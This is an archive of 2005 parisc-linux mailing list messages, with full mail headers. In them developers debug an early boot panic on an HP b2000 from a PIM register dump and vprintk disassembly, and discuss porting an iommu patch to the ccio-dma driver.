	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02401-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Jun 2005 08:30:27 -0600 (MDT)
Original-Received: from mrqout1.tiscali.it (mrqout1.tiscali.it [195.130.225.11])
	by free.linux.hp.com (Postfix) with ESMTP id 9E99B7D68C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Jun 2005 08:30:26 -0600 (MDT)
Original-Received: from 10.39.115.135 by mrq-1 with esmtp (Exim)
	id 1Dmucx-0007CF-Iy; Mon, 27 Jun 2005 16:30:25 +0200
Original-Received: from [57.67.177.33] by mail-5-bnl.tiscali.it with HTTP;
	Mon, 27 Jun 2005 16:30:21 +0200
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 2WiyYgYEeSEkQr6WZHQhaXN1IGRvbwDM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22831

Hello all,

I hope to get help from CONFIG_PRINTK_TIME to debug my d380 64bit slownes=
s
pb but tested first on a b2k it panics (waht siad lcd display at leat) ve=
ry
early in the boot and unfortunately pim lakes of relievant info:

PROCESSOR PIM INFORMATION

-----------------  Processor 0 HPMC Information ------------------

Timestamp =3D
  Mon Jun  27 12:41:39 GMT 2005    (20:05:06:27:12:41:39)

HPMC Chassis Codes =3D 2cbf0  2500b  2cbf4  2cbfc

General Registers 0 - 31
00-03   0000000000000000  0000000000000000  000000001012799c  00000000008=
00327
04-07   0000000000000035  00000000104cf5a0  00000000104cf5a3  00000000000=
00006
08-11   000000000000000f  000000000ffffe40  000000000000000e  00000000000=
0003c
12-15   00000000103c9f30  000000000000002f  0000000000000037  00000000000=
0003e
16-19   0000000000000000  00000000f000017c  00000000f0000174  00000000103=
540d0
20-23   0000000000000000  00000000fee003f8  00000000fee003fd  00000000104=
780dc
24-27   0000000000000000  0000000000000000  000000000000000f  00000000103=
b2010
28-31   00000000fffb6c20  000000000ffffe40  0000000020000080  00000000000=
00060

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  00000000000=
00000
04-07   0000000000000000  0000000000000000  0000000000000000  00000000000=
00000
08-11   0000000000000000  0000000000000000  0000000000000000  00000000000=
00020
12-15   0000000000000000  0000000000000000  000000000010b000  00000000000=
00000
16-19   00000007e80371fa  0000000000000000  000000001010c65c  000000000fa=
11288
20-23   0000000000000000  000000001ffffc04  000000ff0000ff00  00000000000=
00000
24-27   000000000046e000  000000000046e000  0000000000044021  00000000f04=
12000
28-31   0000000055555555  0000000055555555  0000000010478000  00000000104=
7c000

Space Registers 0 - 7
00-03   00000000          00000000          00000000          00000000
04-07   00000000          00000000          00000000          00000000

IIA Space                    =3D 0x0000000000000000
IIA Offset                   =3D 0x0000000000000000
Check Type                   =3D 0x20000000
CPU State                    =3D 0x9e000004
Cache Check                  =3D 0x00000000
TLB Check                    =3D 0x00000000
Bus Check                    =3D 0x003010bb
Assists Check                =3D 0x00000000
Assist State                 =3D 0x00000000
Path Info                    =3D 0x00031800
System Responder Address     =3D 0xfffffffffed10200
System Requestor Address     =3D 0xfffffffffffa0000

Floating-Point Registers 0 - 31
00-03   0000001f00000000  0000001f00000000  0000001f00000000  0000001f000=
00000
04-07   0000000000000000  5555555555555555  5555555555555555  55555555555=
55555
08-11   5555555555555555  5555555555555555  5555555555555555  55555555555=
55555
12-15   5555555555555555  5555555555555555  5555555555555555  55555555555=
55555
16-19   5555555555555555  5555555555555555  5555555555555555  55555555555=
55555
20-23   5555555555555555  5555555555555555  5555555555555555  55555555555=
55555
24-27   5555555555555555  5555555555555555  5555555555555555  55555555555=
55555
28-31   5555555555555555  5555555555555555  5555555555555555  55555555555=
55555


'9000/785 B,C,J Workstation Unarchitected (per-CPU)', rev 1, 140 bytes:

Check Summary                =3D 0xcb81041000000000
Available Memory             =3D 0x0000000010000000
CPU Diagnose Register 2      =3D 0x0301000000000204
CPU Status Register 0        =3D 0x2420c20000000000
CPU Status Register 1        =3D 0x8080000000000000
SADD LOG                     =3D 0x5913927569568df8
Read Short LOG               =3D 0xc18040fffee003fd
ERROR_STATUS                 =3D 0x0000000000000010
MEM_ADDR                     =3D 0x000001ff3fffffff
MEM_SYND                     =3D 0x0000000000000000
MEM_ADDR_CORR                =3D 0x000001ff3fffffff
MEM_SYND_CORR                =3D 0x0000000000000000
RUN_DATA_HIGH                =3D 0xc1bff0fffed08040
RUN_DATA_LOW                 =3D 0xc1bff0fffed08040
RUN_CTRL                     =3D 0x0000021c00001418
RUN_ADDR                     =3D 0xc1bff0fffed08040
System Responder Path        =3D 0x00ffffffffffffff


HPMC PIM Analysis Information:

Timestamp =3D
  Mon Jun  27 12:41:39 GMT 2005    (20:05:06:27:12:41:39)


'9000/785 B,C,J Workstation HPMC PIM Analysis (per-CPU)', rev 0, 1304 byt=
es:

A Data Miss Timeout occurred while CPU 0 was
requesting information.
[...]

Any idea?

Thanks,
    Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PRINTK_TIME make panicing very early b2k?
Date: Mon, 27 Jun 2005 16:01:07 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <20050627150107.GG5200@parcelfarce.linux.theplanet.co.uk>
References: <42BAE7C300000EB4@mail-5-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623821 15092 80.91.229.3 (22 Nov 2014 02:37:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:01 +0000 (UTC)
Cc: Parisc List <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Jun 2005 14:59:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 27 Jun 2005 16:59:50 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DCC1A7D6CB;
	Mon, 27 Jun 2005 08:59:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02854-04; Mon, 27 Jun 2005 08:59:41 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3F5887D6D1;
	Mon, 27 Jun 2005 08:59:41 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E16E67D6C4
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Jun 2005 08:59:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02665-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Jun 2005 08:59:38 -0600 (MDT)
Original-Received: from parcelfarce.linux.theplanet.co.uk
	(parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id DCE537D6C2
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Jun 2005 08:59:37 -0600 (MDT)
Original-Received: from willy by parcelfarce.linux.theplanet.co.uk with local (Exim
	4.43) id 1Dmv6h-0008PF-4q; Mon, 27 Jun 2005 16:01:07 +0100
Content-Disposition: inline
In-Reply-To: <42BAE7C300000EB4@mail-5-bnl.tiscali.it>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: P3GyYjkVeSEkTL6WZHQhaXN1IGRvbwA+
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22832

On Mon, Jun 27, 2005 at 04:30:21PM +0200, Joel Soete wrote:
> Hello all,
> 
> I hope to get help from CONFIG_PRINTK_TIME to debug my d380 64bit slowness
> pb but tested first on a b2k it panics (waht siad lcd display at leat) very
> early in the boot and unfortunately pim lakes of relievant info:

I'm not sure why you say it lacks relevant info.  Seems pretty clear to me:

> IIA Space                    = 0x0000000000000000
> IIA Offset                   = 0x0000000000000000

... a null pointer dereference, in kernel space.

> General Registers 0 - 31
> 00-03   0000000000000000  0000000000000000  000000001012799c  0000000000800327

called from 1012799c.  Where's that in your System.map?

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: ccio-dma more debuging
Date: Mon, 27 Jun 2005 09:08:17 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <20050627150817.GA17711@colo.lackof.org>
References: <20050626202734.GA3338@colo.lackof.org>
	<42BAE7C300000ABE@mail-5-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623822 15124 80.91.229.3 (22 Nov 2014 02:37:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:02 +0000 (UTC)
Cc: Parisc List <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Jun 2005 15:04:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 27 Jun 2005 17:04:19 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 54A637D6F7;
	Mon, 27 Jun 2005 09:04:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02964-06; Mon, 27 Jun 2005 09:04:16 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B79587D701;
	Mon, 27 Jun 2005 09:04:15 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CF4427D6DE
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Jun 2005 09:04:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02854-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Jun 2005 09:04:09 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 4F56C7D6C4
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Jun 2005 09:04:09 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 7A93929803C;
	Mon, 27 Jun 2005 09:08:19 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17669-04; Mon, 27 Jun 2005 09:08:17 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 2469D29802F; Mon, 27 Jun 2005 09:08:17 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <42BAE7C300000ABE@mail-5-bnl.tiscali.it>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: I3CyYjUxeSEkO76WZHQhaXN1IGRvb8Ct
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22833

On Mon, Jun 27, 2005 at 08:23:38AM +0200, Joel Soete wrote:
> Cool I found what I think being the trick:
> <http://marc.theaimsgroup.com/?l=bk-commits-head&m=107647970230357&w=2>

Yeah, that looks like the right one.

Keep in mind that parisc sba_iommu.c shares some of the code
touched by the above patch with ccio driver. See iommu-helpers.h.

> But that inforce you to take care of each name change in every palces when
> gcc could do for you ;-)

We aren't cutting/pasting from the code anymore.
I don't need that at this point.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PRINTK_TIME make panicing very early b2k?
Date: Mon, 27 Jun 2005 18:07:22 +0200
Lines: 63
Approved: news@gmane.org
Message-ID: <42BAE856000010F9@mail-6-bnl.tiscali.it>
References: <20050627150107.GG5200@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623822 15129 80.91.229.3 (22 Nov 2014 02:37:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:02 +0000 (UTC)
Cc: Parisc List <parisc-linux@lists.parisc-linux.org>
To: "Matthew Wilcox" <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Jun 2005 16:07:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx006) with SMTP; 27 Jun 2005 18:07:40 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B7F197D6DE;
	Mon, 27 Jun 2005 10:07:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03237-08; Mon, 27 Jun 2005 10:07:31 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A197E7D6E3;
	Mon, 27 Jun 2005 10:07:30 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D916D7D6CD
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Jun 2005 10:07:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03165-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Jun 2005 10:07:27 -0600 (MDT)
Original-Received: from mrqout1.tiscali.it (mrqout1.tiscali.it [195.130.225.11])
	by free.linux.hp.com (Postfix) with ESMTP id 365797D6CB
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Jun 2005 10:07:27 -0600 (MDT)
Original-Received: from 10.39.115.136 by mrq-1 with esmtp (Exim)
	id 1Dmw8p-0004Ic-Po; Mon, 27 Jun 2005 18:07:25 +0200
Original-Received: from [57.67.177.33] by mail-6-bnl.tiscali.it with HTTP;
	Mon, 27 Jun 2005 18:07:22 +0200
In-Reply-To: <20050627150107.GG5200@parcelfarce.linux.theplanet.co.uk>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GkGyYsBAeSEkdL6WZHQhaXN1IGRvb0Dd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22834


> 
> On Mon, Jun 27, 2005 at 04:30:21PM +0200, Joel Soete wrote:
> > Hello all,
> > 
> > I hope to get help from CONFIG_PRINTK_TIME to debug my d380 64bit slo=
wness
> > pb but tested first on a b2k it panics (waht siad lcd display at leat=
)
> very
> > early in the boot and unfortunately pim lakes of relievant info:
> 
> I'm not sure why you say it lacks relevant info.
Just because I again missed gr2 info (my bad) sorry

>  Seems pretty clear to me:
> 
> > IIA Space                    =3D 0x0000000000000000
> > IIA Offset                   =3D 0x0000000000000000
> 
> ... a null pointer dereference, in kernel space.
> 
> > General Registers 0 - 31
> > 00-03   0000000000000000  0000000000000000  000000001012799c  0000000=
000800327
> 
> called from 1012799c.  Where's that in your System.map?
>
mmm
 GR[02] =3D=3D rp =3D 000000001012799c

Func: vprintk, Off: 0xcc, Addr: 0x1012799c

10127990 <vprintk+0xc0>:
10127990:       37 84 00 60     ldo 30(ret0),r4
10127994:       eb ef a1 c5     b,l 10106a7c <sched_clock>,%r2
10127998:       08 00 02 40     nop
1012799c:       6b dc 3e 91     stw ret0,-b8(,sp)
101279a0:       6b dd 3e 99     stw ret1,-b4(,sp)
101279a4:       08 1c 02 55     copy ret0,r21
101279a8:       08 1d 02 56     copy ret1,r22
101279ac:       08 1c 02 5d     copy ret0,ret1
101279b0:       34 1c 00 00     ldi 0,ret0
101279b4:       0b bc 02 7c     or ret0,ret1,ret0
101279b8:       8f 80 25 48     cmpib,<> 0,ret0,10127c64 <vprintk+0x394>

and afaik:

GR[28] =3D=3D ret0 =3D 00000000fffb6c20

GR[30] =3D=3D sp =3D 0000000020000080

A bit (no largely) out of my understanding.

Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: ccio-dma more debuging
Date: Mon, 27 Jun 2005 08:23:38 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <42BAE7C300000ABE@mail-5-bnl.tiscali.it>
References: <20050626202734.GA3338@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623822 15133 80.91.229.3 (22 Nov 2014 02:37:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:02 +0000 (UTC)
Cc: Parisc List <parisc-linux@lists.parisc-linux.org>
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Jun 2005 06:23:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx066) with SMTP; 27 Jun 2005 08:23:55 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0F63C7D6F6;
	Mon, 27 Jun 2005 00:23:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31057-02; Mon, 27 Jun 2005 00:23:51 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 280C37D6FB;
	Mon, 27 Jun 2005 00:23:51 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 812607D6F6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Jun 2005 00:23:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30968-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Jun 2005 00:23:46 -0600 (MDT)
Original-Received: from mrqout1.tiscali.it (mrqout1.tiscali.it [195.130.225.11])
	by free.linux.hp.com (Postfix) with ESMTP id D14D37D6F3
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Jun 2005 00:23:45 -0600 (MDT)
Original-Received: from 10.39.115.135 by mrq-1 with esmtp (Exim)
	id 1Dmn1v-0002lb-PS; Mon, 27 Jun 2005 08:23:43 +0200
Original-Received: from [57.67.177.33] by mail-5-bnl.tiscali.it with HTTP;
	Mon, 27 Jun 2005 08:23:38 +0200
In-Reply-To: <20050626202734.GA3338@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: K/7NYg9veSEkML6WZHQhaXN1IGRvb4AR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22835

[...]
> 
> > (I tried a diff between parisc and ia64 but to big to let me understa=
nd
> 
> > what patch was?)
> 
> Right - that won't work. You'll have to dredge up the oldmail
> were Alex proposes the patch. That should be part of the
> ia64-linux mail in ia64-linux mail archives

Cool I found what I think being the trick:
<http://marc.theaimsgroup.com/?l=3Dbk-commits-head&m=3D107647970230357&w=3D=
2>

> 
> > >Just ditch __FUNCTION__ and hard code the string in the panic messag=
e.
> >
> > Is there some pb I missed with __FUNCTION__?
> 
> Not really - but embedding it directly in the string just makes
> less work for gcc.
> 
But that inforce you to take care of each name change in every palces whe=
n
gcc could do for you ;-)

Thanks,
    Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
